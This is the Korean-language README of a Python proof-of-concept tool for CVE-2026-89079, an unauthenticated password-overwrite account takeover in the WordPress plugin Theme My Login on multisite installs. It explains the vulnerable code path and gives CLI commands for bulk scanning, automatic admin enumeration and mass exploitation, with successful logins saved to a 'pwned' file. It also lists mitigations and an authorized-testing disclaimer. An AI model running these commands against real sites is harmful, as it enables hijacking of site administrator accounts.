
CVE-2026-89079에 대한 Python PoC: WordPress 멀티사이트에서 Theme My Login <=7.2.1을 핑거프린팅한 후, lost-password를 통해 인증되지 않은 비밀번호 덮어쓰기를 익스플로잇하고 로그인을 검증합니다.
**CVE-2026-89079**에 대한 보안 연구 도구: Theme My Login ≤ 7.2.1에서 네트워크 옵션 **tml_user_passwords**가 활성화된 경우 WordPress 멀티사이트에서 발생하는 비인증 계정 탈취.
승인된 테스트 전용. 소유하지 않았거나 서면 허가 없이 테스트할 권한이 없는 시스템에는 사용하지 마십시오.
| 플러그인 | Theme My Login |
| 영향받는 버전 | ≤ 7.2.1 |
| 수정 버전 | 7.2.2+ (06b7623) |
| CWE | CWE-269 부적절한 권한 관리 |
| CVSS 3.1 | 9.8 (치명적) |
다음 세 가지가 모두 참이어야 합니다:
is_multisite() — ms-hooks.php는 실제 WordPress 멀티사이트에서만 로드됩니다 (단일 사이트의 TML /register/가 아님).get_site_option( 'tml_user_passwords' ) — 네트워크 "사용자 선택 등록 비밀번호".tml_ms_filter_pre_insert_user_data()가 retrieve_password() → wp_update_user()에서 $_POST['user_pass1']을 적용합니다.비밀번호 분실 POST 후 checkemail=confirm 응답은 비밀번호가 변경되었음을 증명하지 않습니다; 이는 취약한 필터가 비활성 상태일 때의 정상적인 WordPress 동작입니다.
CVE-2026-89079/
├── poc.py # CLI: mass check / exploit / verify-only
├── tml_core.py # Detection, HTTP/form diagnostics, tests import
├── requirements.txt
├── targets.example.txt
├── tests/
│ └── test_tml_core.py
└── lab/
└── README.md # Disposable WP multisite lab notes
git clone https://github.com/YOUR_ORG/CVE-2026-89079.git
cd CVE-2026-89079
pip install -r requirements.txt
python poc.py --check https://target.example.com
# Bulk
python poc.py -f targets.txt --mode check -j 30 -q
# Optional: REST / ?author= hints → 3rd column in vuln list
python poc.py -f targets.txt --mode check --enum-users -j 30 -q
출력 (기본값):
| 파일 | 내용 |
|---|---|
cve_2026_89079_results.jsonl | 모든 대상 + finding_status, 멀티사이트 / user_pass1 힌트 |
cve_2026_89079_vuln.txt | TML ≤ 7.2.1 (탭: URL, 버전, 선택적 best_login) |
cve_2026_89079_eligible.txt | 더 엄격한 휴리스틱: 네트워크 가입 + 가입 user_pass1 (보장 아님) |
finding_status 값에는 다음이 포함됩니다: NOT_DETECTED, PATCHED, POTENTIALLY_VULNERABLE, PRECONDITIONS_UNKNOWN, VERIFICATION_INCONCLUSIVE, NETWORK_ERROR.
# Single target (default user: auto — enumerate admin-first when REST/?author= allows)
python poc.py https://target.example.com --mode exploit
python poc.py https://target.example.com -u admin --mode exploit
python poc.py https://target.example.com --version-hint 6.8.2 --login-hint admin --mode exploit
# Bulk from vuln list
python poc.py -f cve_2026_89079_vuln.txt --mode exploit -j 15 -q
유용한 플래그:
| 플래그 | 목적 |
|---|---|
--no-require-multisite | 멀티사이트 휴리스틱이 실패해도 시도 (단일 사이트 TML 사이트가 많은 경우) |
--require-user-passwords | 가입 페이지에 user_pass1이 없으면 건너뜀 |
--only-eligible | 이전 --check-jsonl에서 exploit_eligible인 행만 익스플로잇 |
--verify-only | 비밀번호 POST / 로그인 없음 — 폼 및 엔드포인트 진단만 수행 |
--skip-version-check | readme가 차단된 경우 강제로 시도 |
-q | 대량 로깅을 더 조용하게 |
출력: cve_2026_89079_exploit.jsonl, cve_2026_89079_pwned.txt (성공한 로그인).
python -m unittest discover -s tests -v
tml_lost_password_handler() → 코어 retrieve_password().wp_pre_insert_user_data 필터가 비밀번호 분실($update) 중 업데이트를 무시합니다.wp-signup.php → /register/ 리디렉션을 무시합니다(흔한 단일 사이트 TML 오탐).html.parser**로 파싱되며, 구성된 경우 TML AJAX 비밀번호 분실을 지원합니다.tml_user_passwords 또는 플러그인을 비활성화하세요.user_pass1**이 포함된 비밀번호 분실 URL에 대한 인증되지 않은 POST를 차단하거나 경고하세요.이 프로젝트는 방어적 보안 연구, 패치 검증 및 승인된 침투 테스트를 위한 것입니다. 오용은 금지됩니다. 작성자는 무단 사용에 대해 어떠한 책임도 지지 않습니다.